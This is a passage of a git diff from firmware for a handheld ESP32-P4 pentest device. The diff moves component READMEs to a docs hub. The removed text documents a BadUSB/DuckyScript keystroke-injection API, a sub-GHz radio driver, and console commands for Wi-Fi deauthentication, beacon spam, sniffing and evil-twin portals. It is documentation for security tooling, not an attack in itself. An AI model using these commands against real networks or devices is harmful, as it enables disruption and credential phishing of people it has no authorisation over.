│ -│ ┌───────────────┴─────────────────────────┐ │ -│ │ Transport Backend │ │ -│ │ USB: bad_usb.c (TinyUSB) │ │ -│ │ BLE: (planned) │ │ -│ └─────────────────────────────────────────┘ │ -└─────────────────────────────────────────────────┘ -``` - -**Layer 1 - HAL (`hid_hal`):** Manages the registration of transport drivers and provides a common interface for sending key reports, mouse movements, and waiting for connections. The parser never calls USB directly. - -**Layer 2 - Layouts (`hid_layouts`):** Translates characters and strings into HID keycodes. Hardware-independent and reusable by any transport registered in the HAL. - -**Layer 3 - Parser (`ducky_parser`):** Processes DuckyScript files and calls the HAL/Layout functions to execute commands. - -## API Reference - -### BadUSB Driver (`bad_usb.h`) - -```c -esp_err_t bad_usb_init(void); -esp_err_t bad_usb_deinit(void); -void bad_usb_wait_for_connection(void); -``` -- `bad_usb_init` initializes TinyUSB and registers USB HID callbacks into the HAL. -- `bad_usb_deinit` unregisters callbacks and uninstalls the TinyUSB driver. -- `bad_usb_wait_for_connection` blocks until the USB host mounts the device, then waits 2 seconds for enumeration. - -### HID HAL (`hid_hal.h`) - -```c -void hid_hal_register_callback(hid_send_cb_t send_cb, - hid_mouse_cb_t mouse_cb, - hid_wait_cb_t wait_cb); -void hid_hal_press_key(uint8_t keycode, uint8_t modifiers); -void hid_hal_mouse_move(int8_t x, int8_t y); -void hid_hal_mouse_click(uint8_t buttons); -void hid_hal_mouse_scroll(int8_t wheel); -void hid_hal_wait_for_connection(void); -``` -- `hid_hal_press_key` sends a key-down + key-up report with ~5 ms per phase. -- Mouse functions use ~2 ms delay for moves and ~5 ms for clicks. -- All functions yield to the scheduler (`vTaskDelay(0)`) to prevent WDT starvation. - -### Keyboard Layouts (`hid_layouts.h`) - -```c -void hid_layouts_type_string_us(const char *str); -void hid_layouts_type_string_abnt2(const char *str); -``` -- `hid_layouts_type_string_us` maps ASCII characters to US keyboard HID keycodes. -- `hid_layouts_type_string_abnt2` handles Brazilian Portuguese layout including UTF-8 dead-key sequences for accented characters (e.g. a, e, c, a, o). - -### DuckyScript Parser (`ducky_parser.h`) - -```c -void ducky_set_output_mode(ducky_output_mode_t mode); -void ducky_set_layout(ducky_layout_t layout); -void ducky_set_progress_callback(ducky_progress_cb_t cb); -void ducky_parse_and_run(const char *script); -esp_err_t ducky_run_from_assets(const char *filename); -esp_err_t ducky_run_from_sdcard(const char *path); -void ducky_abort(void); -``` -- `ducky_parse_and_run` executes a script line-by-line with 20 ms inter-line delay. -- `ducky_run_from_assets` loads a script from the internal flash asset partition. -- `ducky_run_from_sdcard` loads a script from the SD card (max 8 KB). -- `ducky_abort` sets a flag that stops execution at the next line boundary. -- Progress callback is invoked after each line with current/total counts. - -## Supported DuckyScript Commands - -| Command | Arguments | Description | -|---------|-----------|-------------| -| `REM` | [comment] | Comment line (ignored) | -| `DELAY` | [ms] | Pause execution for N milliseconds | -| `STRING` | [text] | Type text using the active keyboard layout | -| `ENTER` / `RETURN` | - | Press Enter | -| `GUI` / `WINDOWS` / `COMMAND` | [key] | Windows/Command key (optionally with a key) | -| `CTRL` / `CONTROL` | [key] | Control + key | -| `SHIFT` | [key] | Shift + key | -| `ALT` | [key] | Alt + key | -| `TAB` | - | Tab key | -| `ESC` / `ESCAPE` | - | Escape key | -| `F1` - `F12` | - | Function keys | -| `UP` / `DOWN` / `LEFT` / `RIGHT` | - | Arrow keys | -| `HOME` / `END` / `INSERT` / `DELETE` | - | Navigation keys | -| `PAGEUP` / `PAGEDOWN` | - | Page navigation | -| `CAPSLOCK` / `NUMLOCK` / `SCROLLLOCK` | - | Lock keys | -| `PRINTSCREEN` / `PAUSE` / `APP` / `MENU` | - | Special system keys | -| `MOUSE_MOVE` | [x] [y] | Move mouse relative (-127 to 127) | -| `MOUSE_CLICK` / `LCLICK` | - | Left mouse click | -| `MOUSE_RIGHT_CLICK` / `RCLICK` | - | Right mouse click | -| `MOUSE_SCROLL` | [amount] | Scroll mouse wheel | - -Modifier keys can be combined: `CTRL SHIFT ESC`, `GUI r`, `ALT F4`. - -## Supported Layouts +Documentation for this component lives in the project docs hub (single source of truth): -| Layout | Enum | Notes | -|--------|------|-------| -| US (QWERTY) | `DUCKY_LAYOUT_US` | Default. Standard ASCII mapping. | -| ABNT2 (Brazil) | `DUCKY_LAYOUT_ABNT2` | Dead-key accent support, remapped punctuation. | +- [docs/bad_usb/README.md](../../../../docs/bad_usb/README.md) +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Applications/ui/README.md b/firmware_p4/components/Applications/ui/README.md index 67b256ffc..c5ca11251 100644 --- a/firmware_p4/components/Applications/ui/README.md +++ b/firmware_p4/components/Applications/ui/README.md @@ -1,192 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/ui/README.md`](../../../../docs/ui/README.md). - # ui_manager -step-by-step process for adding a new screen (feature) to the HighBoy system using the ui_manager architecture. - -**Example** used: We'll create a fictional **Bluetooth (BLE)** screen. - -### 1. Register the screen in the UI ui_manager -The `ui_manager` needs to know about the new screen to handle navigation. - -**File:** `ui/ui_manager.h` -1. Add a new identifier to the `enum`: -```c -typedef enum { - SCREEN_NONE, - SCREEN_HOME, - SCREEN_MENU, - SCREEN_WIFI_MENU, - // ... - SCREEN_BLE_MENU, // <--- NEW ID ADDED -} screen_id_t; -``` - -### 2. Configure routing and Power Management -Define how the ui_manager should open the screen and handle any required hardware power states. - -**File:** `ui/ui_manager.c` -1. Include de header for the new screen (created in Step 3): -```c -#include "screens/bluetooth/ui_ble_menu.h" -``` - -2. (Optional) Power Management: If the screen uses a radio (Wi-Fi, BLE, RF), add logic to automatically enable/disable the hardware. -```c -static bool is_ble_screen(screen_id_t screen) { - switch (screen) { - case SCREEN_BLE_MENU: - case SCREEN_BLE_SCAN: // Future sub-screens - return true; - default: - return false; - } -} -``` - -Update `ui_switch_screen` to call `ble_init()` / `ble_deinit()` based on this flag (similar to how Wi-Fi is handled). - -3. Add the case to the main switch statement: -```c -void ui_switch_screen(screen_id_t new_screen) { - if (ui_acquire()) { - // ... init/deinit logic ... - clear_current_screen(); - - switch (new_screen) { - // ... other cases ... - - case SCREEN_BLE_MENU: // <--- NEW ROUTE - ui_ble_menu_open(); - break; - } - // ... - } -} -``` - -### 3. Create the New Screen UI -Create the folder and files for the new feature: `ui/screens/bluetooth/` - -**Header File:** `ui_ble_menu.h` -```c -#ifndef UI_BLE_MENU_H -#define UI_BLE_MENU_H -#include "lvgl.h" -void ui_ble_menu_open(void); // Public function -#endif -``` - -**Source File:** `ui_ble_menu.c` -Standard template from any Highboy screen: - -```c -#include "ui_ble_menu.h" -#include "ui_manager.h" -#include "lv_port_indev.h" // Access to main_group -#include "esp_log.h" - -static const char *TAG = "UI_BLE"; -static lv_obj_t * screen_ble = NULL; - -// 1. Event Callback (Navigation) -static void ble_event_cb(lv_event_t * e) { - lv_event_code_t code = lv_event_get_code(e); - - if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - // BACK BUTTON (ESC/LEFT) - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - ESP_LOGI(TAG, "Returning to Main Menu"); - // Destroy current screen and open Menu - ui_switch_screen(SCREEN_MENU); - } - } -} - -// 2. Screen Build Function -void ui_ble_menu_open(void) { - // Safety cleanup - if (screen_ble) { - lv_obj_del(screen_ble); - screen_ble = NULL; - } - - // A. Create Base Screen - screen_ble = lv_obj_create(NULL); - lv_obj_set_style_bg_color(screen_ble, lv_color_black(), 0); - - // B. Add Content (e.g., Title) - lv_obj_t * label = lv_label_create(screen_ble); - lv_label_set_text(label, "Bluetooth Menu"); - lv_obj_set_style_text_color(label, lv_color_white(), 0); - lv_obj_align(label, LV_ALIGN_CENTER, 0, 0); - - // C. Setup Navigation - lv_obj_add_event_cb(screen_ble, ble_event_cb, LV_EVENT_KEY, NULL); - - // Add to Input Group (Essential!) - if (main_group) { - lv_group_add_obj(main_group, screen_ble); - lv_group_focus_obj(screen_ble); - } - - // D. Load Screen - lv_screen_load(screen_ble); -} -``` - -### 4. Link from the main Menu -Add a button/entru in the main menu to access the new screen - -**File:** `ui/screens/menu/ui_menu.c` -1. In the `menu_event_cb` callback, locate the corresponding item ID case and add/uncomment the call: -```c -case MENU_ID_BLUETOOTH: - ui_switch_screen(SCREEN_BLE_MENU); // <--- Routes to the new screen - break; -``` -(Note: If the MENU_ID_BLUETOOTH entry doesn't exist yet in menu_item_id_t, create it.) - -### 5. Update Build System (CMake) -Commom error: forgettint to register the new source files. - -**File:** `CMakeLists.txt` (UI component) -1. Add the new sources files and include directory: -```cmake -file(GLOB_RECURSE HOME_UI_SRCS "ui/screens/home/*.c") -file(GLOB_RECURSE MENU_UI_SRCS "ui/screens/menu/*.c") -file(GLOB_RECURSE WIFI_UI_SRCS "ui/screens/wifi/*.c") -file(GLOB_RECURSE BLE_UI_SRCS "ui/screens/ble/*.c") # <---- Add srcs here - -idf_component_register(SRCS - "ui/ui_manager.c" - ${HOME_UI_SRCS} - ${MENU_UI_SRCS} - ${WIFI_UI_SRCS} - ${BLE_UI_SRCS} # <----- and call it here - - INCLUDE_DIRS - "ui/include" - "ui/screens/home/include" - "ui/screens/menu/include" - "ui/screens/wifi/include" - "ui/screens/ble/include" # <----- dont forget include files -) -``` -2. Recommended: Run `idf.py reconfigure` in the terminal after saving ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Execution Flow Sumamary -1. User selects **Bluetooth** from the Main Menu. -2. Menu callback calls `ui_switch_screen(SCREEN_BLE_MENU)`. -3. `ui_manager`: - - Handles hardware power (enables BLE if needed). - - Clears previous screen. - - Calls `ui_ble_menu_open()`. -4. `ui_ble_menu_open`: - - Creates visual objects. - - Adds objects to `main_group`. - - Loads the screen. +- [docs/ui/README.md](../../../../docs/ui/README.md) -**Done! The new screen is fully integrated, safe and navigable.** +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/buttons_gpio/README.md b/firmware_p4/components/Drivers/buttons_gpio/README.md index 629a0903c..ca7ae9610 100644 --- a/firmware_p4/components/Drivers/buttons_gpio/README.md +++ b/firmware_p4/components/Drivers/buttons_gpio/README.md @@ -1,66 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/buttons_gpio/p4.md`](../../../../docs/buttons_gpio/p4.md). - # GPIO Buttons Driver -This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. - -## Overview - -- **Location:** `components/Drivers/buttons_gpio/` -- **Header:** `include/buttons_gpio.h` -- **Dependencies:** `driver/gpio`, `pin_def.h` - -## Configuration - -- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. -- **Active Level:** Low (`0`). Buttons connect to ground when pressed. -- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. - -## Key Mapping - -| Button | Function | -| :--- | :--- | -| **BTN_UP** | Up Navigation | -| **BTN_DOWN** | Down Navigation | -| **BTN_LEFT** | Left / Decrease | -| **BTN_RIGHT** | Right / Increase | -| **BTN_OK** | Enter / Select | -| **BTN_BACK** | Back / Escape | - -## API Reference - -### Initialization - -#### `buttons_init` -```c -void buttons_init(void); -``` -Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. - -### State Checking (One-shot) -These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. - -- `bool up_button_pressed(void)` -- `bool down_button_pressed(void)` -- `bool left_button_pressed(void)` -- `bool right_button_pressed(void)` -- `bool ok_button_pressed(void)` -- `bool back_button_pressed(void)` - -### State Checking (Continuous) -These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. - -- `bool up_button_is_down(void)` -- `bool down_button_is_down(void)` -- `bool left_button_is_down(void)` -- `bool right_button_is_down(void)` -- `bool ok_button_is_down(void)` -- `bool back_button_is_down(void)` +Documentation for this component lives in the project docs hub (single source of truth): -### Tasks +- [docs/buttons_gpio/p4.md](../../../../docs/buttons_gpio/p4.md) -#### `buttons_task` -```c -void buttons_task(void); -``` -Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/cc1101/README.md b/firmware_p4/components/Drivers/cc1101/README.md index 41cdfcce6..704101fee 100644 --- a/firmware_p4/components/Drivers/cc1101/README.md +++ b/firmware_p4/components/Drivers/cc1101/README.md @@ -1,189 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/cc1101/README.md`](../../../../docs/cc1101/README.md). - # CC1101 Sub-GHz Radio Driver -This component provides a full driver for the Texas Instruments CC1101 low-power sub-GHz RF transceiver. It handles SPI communication, frequency configuration, modulation presets, and TX/RX operations. - -## Overview - -- **Location:** `components/Drivers/cc1101/` -- **Header:** `include/cc1101.h` -- **Dependencies:** `spi`, `pin_def`, `driver/gpio`, `freertos` -- **Interface:** SPI (via `spi` component, device `SPI_DEVICE_CC1101`) -- **Crystal:** 26 MHz (used for frequency calculations) - -## Supported Frequency Bands - -| Band | Range (MHz) | PA Table | -|------------|---------------|----------| -| 315 MHz | 300 - 348 | `PA_TABLE_315` | -| 433 MHz | 387 - 464 | `PA_TABLE_433` | -| 868 MHz | 779 - 899 | `PA_TABLE_868` | -| 915 MHz | 900 - 928 | `PA_TABLE_915` | - -## Modulation Presets (`cc1101_preset_t`) - -| Preset | Mode | RX Bandwidth | -|----------------------------|---------|--------------| -| `CC1101_PRESET_IDLE` | Idle | — | -| `CC1101_PRESET_OOK_270KHZ`| ASK/OOK | 270 kHz | -| `CC1101_PRESET_OOK_650KHZ`| ASK/OOK | 650 kHz | -| `CC1101_PRESET_OOK_800KHZ`| ASK/OOK | 812 kHz | -| `CC1101_PRESET_2FSK_2KHZ` | 2-FSK | 58 kHz | -| `CC1101_PRESET_2FSK_47KHZ`| 2-FSK | 270 kHz | -| `CC1101_PRESET_2FSK_95KHZ`| 2-FSK | 540 kHz | - -## API Reference - -### Initialization - -#### `cc1101_init` -```c -void cc1101_init(void); -``` -Adds the CC1101 to the SPI bus (SPI3_HOST, 4 MHz), performs a hardware reset, verifies chip presence via version register, and sets the default frequency to **433.92 MHz**. - -### Frequency & Calibration - -#### `cc1101_set_frequency` -```c -void cc1101_set_frequency(uint32_t freq_hz); -``` -Sets the carrier frequency in Hz. Calculates FREQ2/FREQ1/FREQ0 registers from a 26 MHz crystal reference and triggers automatic calibration. - -#### `cc1101_calibrate` -```c -void cc1101_calibrate(void); -``` -Performs frequency synthesizer calibration with band-specific FSCTRL0, TEST0, and FSCAL2 adjustments. - -### Preset Management - -#### `cc1101_set_preset` -```c -void cc1101_set_preset(cc1101_preset_t preset, uint32_t freq_hz); -``` -Configures the radio with a predefined modulation/bandwidth combination. Internally calls `cc1101_enable_async_mode` (OOK presets) or `cc1101_enable_fsk_mode` (FSK presets) and then applies preset-specific tuning. - -#### `cc1101_get_active_preset_id` -```c -uint8_t cc1101_get_active_preset_id(void); -``` -Returns the ID of the currently active preset. - -### Operating Modes - -#### `cc1101_enable_async_mode` -```c -void cc1101_enable_async_mode(uint32_t freq_hz); -``` -Configures the CC1101 for **ASK/OOK async serial output** on GDO0 (for RMT-based sniffing). Sets infinite packet length, max sensitivity AGC, 812 kHz RX bandwidth, and enters RX. - -#### `cc1101_enable_fsk_mode` -```c -void cc1101_enable_fsk_mode(uint32_t freq_hz); -``` -Configures the CC1101 for **2-FSK async serial output** on GDO0. Same async architecture as OOK mode but with FSK modulation. - -#### `cc1101_enter_rx_mode` / `cc1101_enter_tx_mode` -```c -void cc1101_enter_rx_mode(void); -void cc1101_enter_tx_mode(void); -``` -Transitions the radio to RX or TX state (via IDLE first). - -### Data Transmission - -#### `cc1101_send_data` -```c -void cc1101_send_data(const uint8_t *data, size_t len); -``` -Sends a packet (max 61 bytes) via the TX FIFO. Flushes the FIFO, writes length + payload, strobes TX, and blocks until transmission completes (polls MARCSTATE). - -### Modem Tuning - -#### `cc1101_set_rx_bandwidth` -```c -void cc1101_set_rx_bandwidth(float khz); -``` -Sets the RX filter bandwidth in kHz by calculating the MDMCFG4 register fields. - -#### `cc1101_set_data_rate` -```c -void cc1101_set_data_rate(float baud); -``` -Sets the data rate in kBaud (range: ~0.025 - 1621.83). Writes MDMCFG4 (exponent) and MDMCFG3 (mantissa). - -#### `cc1101_set_deviation` -```c -void cc1101_set_deviation(float dev); -``` -Sets frequency deviation in kHz (range: 1.59 - 380.86) for FSK modulation. - -#### `cc1101_set_modulation` -```c -void cc1101_set_modulation(uint8_t modulation); -``` -Sets the modulation format: `0` = 2-FSK, `1` = GFSK, `2` = ASK/OOK, `3` = 4-FSK, `4` = MSK. Automatically adjusts FREND0 and reapplies PA settings. - -#### `cc1101_set_pa` -```c -void cc1101_set_pa(int dbm); -``` -Sets the output power in dBm. Automatically selects the correct PA table for the current frequency band. Handles ASK/OOK PATABLE indexing (index 0 = 0x00, index 1 = power). - -#### `cc1101_set_channel` -```c -void cc1101_set_channel(uint8_t channel); -``` -Sets the channel number (CHANNR register). - -#### `cc1101_set_chsp` -```c -void cc1101_set_chsp(float khz); -``` -Sets channel spacing in kHz (range: 25.39 - 405.46). - -#### `cc1101_set_sync_mode` -```c -void cc1101_set_sync_mode(uint8_t mode); -``` -Configures sync word detection mode (0-7). See CC1101 datasheet for mode descriptions. - -#### `cc1101_set_fec` -```c -void cc1101_set_fec(bool enable); -``` -Enables or disables Forward Error Correction. - -#### `cc1101_set_preamble` -```c -void cc1101_set_preamble(uint8_t preamble_bytes); -``` -Sets the number of preamble bytes (2-24, mapped to register encoding). - -#### `cc1101_set_dc_filter_off` / `cc1101_set_manchester` -```c -void cc1101_set_dc_filter_off(bool disable); -void cc1101_set_manchester(bool enable); -``` -Toggles DC blocking filter and Manchester encoding respectively. - -### Utilities - -#### `cc1101_convert_rssi` -```c -float cc1101_convert_rssi(uint8_t rssi_raw); -``` -Converts a raw RSSI register value to dBm. +Documentation for this component lives in the project docs hub (single source of truth): -### Low-Level SPI Access +- [docs/cc1101/README.md](../../../../docs/cc1101/README.md) -```c -void cc1101_strobe(uint8_t cmd); -void cc1101_write_reg(uint8_t reg, uint8_t val); -uint8_t cc1101_read_reg(uint8_t reg); -void cc1101_write_burst(uint8_t reg, const uint8_t *buf, uint8_t len); -void cc1101_read_burst(uint8_t reg, uint8_t *buf, uint8_t len); -``` -Direct SPI register access: single read/write, burst read/write, and strobe commands. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/spi/README.md b/firmware_p4/components/Drivers/spi/README.md index bd0394a08..37e6208a8 100644 --- a/firmware_p4/components/Drivers/spi/README.md +++ b/firmware_p4/components/Drivers/spi/README.md @@ -1,56 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi/p4.md`](../../../../docs/spi/p4.md). - # SPI Bus Driver -This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. - -## Overview - -- **Location:** `components/Drivers/spi/` -- **Header:** `include/spi.h` -- **Dependencies:** `driver/spi_master` -- **Host:** `SPI3_HOST` - -## Supported Devices (`spi_device_id_t`) - -1. **SPI_DEVICE_ST7789:** Display Driver -2. **SPI_DEVICE_CC1101:** Sub-GHz Radio -3. **SPI_DEVICE_SD_CARD:** Storage - -## API Reference - -### `spi_init` -```c -esp_err_t spi_init(void); -``` -Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. -- **Pins:** Defined in `pin_def.h`. -- **Max Transfer Size:** 32768 bytes. - -### `spi_add_device` -```c -esp_err_t spi_add_device(spi_host_device_t host, spi_device_id_t id, const spi_device_config_t *config); -``` -Adds a specific device to the initialized bus. -- **host:** SPI host device (SPI2_HOST, SPI3_HOST). -- **id:** Device identifier enum. -- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. - -### `spi_get_handle` -```c -spi_device_handle_t spi_get_handle(spi_device_id_t id); -``` -Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. +Documentation for this component lives in the project docs hub (single source of truth): -### `spi_transmit` -```c -esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); -``` -Performs a simple polling/blocking transmission to the specified device. -- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. +- [docs/spi/p4.md](../../../../docs/spi/p4.md) -### `spi_deinit` -```c -esp_err_t spi_deinit(void); -``` -Removes all devices and frees the SPI bus resources. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/st7789/README.md b/firmware_p4/components/Drivers/st7789/README.md index 3c4bf60cf..bc9758224 100644 --- a/firmware_p4/components/Drivers/st7789/README.md +++ b/firmware_p4/components/Drivers/st7789/README.md @@ -1,45 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/st7789/README.md`](../../../../docs/st7789/README.md). - # ST7789 Display Driver -This component initializes and manages the ST7789 LCD controller using the ESP-IDF `esp_lcd` component. It handles the SPI interface configuration and the display initialization sequence. - -## Overview - -- **Location:** `components/Drivers/st7789/` -- **Header:** `include/st7789.h` -- **Dependencies:** `esp_lcd`, `driver/gpio`, `driver/ledc`, `spi` - -## Hardware Configuration -- **Resolution:** 240x240 -- **Color Depth:** 16-bit (RGB565) -- **Interface:** SPI (via `spi` component driver) - -## Internal Backlight Control -Although a separate `backlight` component exists, this driver currently includes its own internal PWM initialization (`init_backlight_pwm`) and control logic using `LEDC_TIMER_0` / `LEDC_CHANNEL_0`. -*Note: This overlaps with the standalone `backlight` component. Verify project integration to avoid timer conflicts.* - -## API Reference - -### `st7789_init` -```c -void st7789_init(void); -``` -Initializes the display. -1. Creates the SPI device interface on `SPI3_HOST`. -2. Configures the ST7789 panel (Reset pin, RGB order, etc.). -3. Resets and initializes the panel. -4. Inverts colors (standard for many ST7789 IPS panels). -5. Turns the display ON. -6. Initializes the backlight PWM and sets it to 80%. +Documentation for this component lives in the project docs hub (single source of truth): -### `lcd_set_brightness` -```c -void lcd_set_brightness(uint8_t percent); -``` -Sets the backlight brightness percentage (0-100%). -- **Implementation:** Uses LEDC Timer 0, Channel 0 with 13-bit resolution. +- [docs/st7789/README.md](../../../../docs/st7789/README.md) -## Global Handles -- `panel_handle`: Handle to the abstract LCD panel. -- `io_handle`: Handle to the underlying IO interface. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/tusb_desc/README.md b/firmware_p4/components/Drivers/tusb_desc/README.md index 5bef9712d..bdc6fcab8 100644 --- a/firmware_p4/components/Drivers/tusb_desc/README.md +++ b/firmware_p4/components/Drivers/tusb_desc/README.md @@ -1,76 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/tusb_desc/README.md`](../../../../docs/tusb_desc/README.md). - # TinyUSB Descriptors (HID Composite) -This component defines the USB descriptors required to enumerate the ESP32-P4 as a USB HID Composite Device (Keyboard + Mouse) and provides the initialization routine for the TinyUSB driver. - -## Overview - -- **Location:** `components/Drivers/tusb_desc/` -- **Header:** `include/tusb_desc.h` -- **Dependencies:** `tinyusb`, `esp_tinyusb`, `driver/gpio` -- **USB Port:** High Speed (ESP32-P4) - -## USB Descriptors - -### Device Descriptor - -| Field | Value | -|-------|-------| -| USB Version | 2.0 | -| Vendor ID | `0xCAFE` | -| Product ID | `0x4001` | -| Device Class | Defined at interface level | -| Configurations | 1 | - -### Configuration Descriptor - -| Field | Value | -|-------|-------| -| Interfaces | 1 (HID) | -| Max Power | 100 mA | -| Attributes | Remote Wakeup | - -### HID Report Descriptor - -Single HID interface with two reports using Report IDs: - -| Report ID | Type | Usage | -|-----------|------|-------| -| 1 | Keyboard | Generic Desktop Keyboard | -| 2 | Mouse | Generic Desktop Mouse (buttons + XY + wheel) | - -### String Descriptors - -| Index | Value | -|-------|-------| -| 0 | Language ID (English US) | -| 1 | Manufacturer: "HighCode" | -| 2 | Product: "BadUSB Device" | -| 3 | Serial: "123456" | - -## API Reference - -### `busb_init` -```c -esp_err_t busb_init(void); -``` -Initializes the TinyUSB driver with the defined descriptors. -1. Installs the GPIO ISR service (required for ESP32-P4 High Speed USB). -2. Configures device, configuration, and HID report descriptors. -3. Installs the TinyUSB driver on the High Speed port. - -Must be called before any HID report transmission. - -## TinyUSB Callbacks +Documentation for this component lives in the project docs hub (single source of truth): -The component implements the required TinyUSB callbacks to serve descriptors to the USB host: +- [docs/tusb_desc/README.md](../../../../docs/tusb_desc/README.md) -| Callback | Purpose | -|----------|---------| -| `tud_descriptor_device_cb` | Returns the device descriptor | -| `tud_descriptor_configuration_cb` | Returns the configuration descriptor | -| `tud_descriptor_string_cb` | Returns string descriptors (manufacturer, product, serial) | -| `tud_hid_descriptor_report_cb` | Returns the HID report descriptor | -| `tud_hid_get_report_cb` | Handles GET_REPORT requests (stub) | -| `tud_hid_set_report_cb` | Handles SET_REPORT requests (stub) | +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/c5_flasher/README.md b/firmware_p4/components/Service/c5_flasher/README.md index 16ef7abeb..22b90e02c 100644 --- a/firmware_p4/components/Service/c5_flasher/README.md +++ b/firmware_p4/components/Service/c5_flasher/README.md @@ -1,23 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/c5_flasher/README.md`](../../../../docs/c5_flasher/README.md). - # C5 Flasher Service - P4 Master -This service allows the ESP32-P4 to update the firmware of the ESP32-C5 using an embedded binary image. - -## Features -- **Embedded Binary**: The C5 firmware is embedded directly into the P4 executable during the build process. -- **Bootloader Control**: Automatically puts the C5 into serial bootloader mode using the BOOT and RESET pins. -- **Serial Protocol**: Implements the Espressif Serial Protocol (SLIP framing) to write blocks to the C5 flash. - -## Usage -1. **Initial Sync**: On boot, the `bridge_manager` checks the C5 version. -2. **Auto-Update**: If the C5 is unresponsive or outdated, `c5_flasher_update(NULL, 0)` is called. -3. **Execution**: The P4 stops the SPI bridge, initializes the Flasher UART, pulses the Reset pin with Boot LOW, and starts streaming the binary. +Documentation for this component lives in the project docs hub (single source of truth): -## Symbols -The embedded binary is accessed via: -- `_binary_firmware_c5_bin_start` -- `_binary_firmware_c5_bin_end` +- [docs/c5_flasher/README.md](../../../../docs/c5_flasher/README.md) -## Build Automation -Use the `./tools/build_and_flash.sh` script to ensure the C5 binary is updated and embedded correctly before flashing the P4. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/console/README.md b/firmware_p4/components/Service/console/README.md index d7f017dd4..c2a5360c0 100644 --- a/firmware_p4/components/Service/console/README.md +++ b/firmware_p4/components/Service/console/README.md @@ -1,105 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/console/README.md`](../../../../docs/console/README.md). - # Console Service Component -The Console Service provides an interactive command-line interface (CLI) for the TentacleOS Highboy. It allows users to manage files, configure system settings, and execute Wi-Fi attacks directly via USB Serial or UART. - -It is built on top of the ESP-IDF `esp_console` component and uses `linenoise` for line editing and `argtable3` for argument parsing. - -## Accessing the Console - -Connect the Highboy to a computer via USB. Use a serial terminal program (e.g., Putty, Screen, minicom) with the following settings: -- **Baud Rate:** 115200 (default) -- **Data Bits:** 8 -- **Parity:** None -- **Stop Bits:** 1 - -The prompt `highboy>` indicates the system is ready. - -## Available Commands - -### System Commands - -| Command | Description | Usage | -| :--- | :--- | :--- | -| `help` | Lists all available commands. | `help [command]` | -| `free` | Displays available internal and PSRAM memory. | `free` | -| `tasks` | Lists running FreeRTOS tasks and stack usage. | `tasks` | -| `restart` | Reboots the system. | `restart` | -| `ip` | Shows current network interfaces (IP, Mask, GW, MAC). | `ip` | - -### File System Commands - -| Command | Description | Usage | -| :--- | :--- | :--- | -| `ls` | Lists directory contents. | `ls [-j] [path]`
`-j`: Output as JSON | -| `cd` | Changes current working directory. | `cd ` | -| `pwd` | Prints current working directory. | `pwd` | -| `cat` | Prints file content to console. | `cat ` | - -### Wi-Fi Commands (`wifi`) - -The `wifi` command is a wrapper for all wireless functions. - -| Subcommand | Description | Arguments | Example | -| :--- | :--- | :--- | :--- | -| `scan` | Scans for Wi-Fi networks. | None | `wifi scan` | -| `connect` | Connects to an Access Point. | `-s `: Target SSID
`-p `: Password (optional) | `wifi connect -s "MyWifi" -p "1234"` | -| `ap` | Configures the Highboy Hotspot. | `-s `: New SSID
`-p `: New Password | `wifi ap -s "FreeWiFi"` | -| `config` | Advanced Wi-Fi settings. | `-e <0/1>`: Enable/Disable
`-i `: Set Static IP
`-m `: Max clients | `wifi config -e 1 -m 8` | -| `spam` | Starts Beacon Spam attack. | `-r`: Random SSIDs
`-l`: Use `beacon_list.json`
`-s`: Stop attack | `wifi spam -r` | -| `deauth` | Starts Deauthentication attack. | `-t `: Target BSSID
`-c `: Channel
`-s`: Stop attack | `wifi deauth -t AA:BB:CC... -c 6` | -| `sniff` | Starts Packet Sniffer. | `-t `: beacon, probe, pwn, raw
`-c `: Channel (0=Hop)
`-f `: Save to SD
`-v`: Verbose (print)
`-s`: Stop | `wifi sniff -t beacon -v` | -| `probe` | Monitors Probe Requests. | `start` / `-s` (Stop) | `wifi probe start` | -| `clients` | Scans connected clients (sniffer). | `start` / `-s` (Stop) | `wifi clients start` | -| `target` | Monitors specific target activity. | `-t `: Target MAC
`-c `: Channel
`-s`: Stop | `wifi target -t AA:BB... -c 6` | -| `evil` | Starts Evil Twin (Captive Portal). | `-s `: Fake AP Name
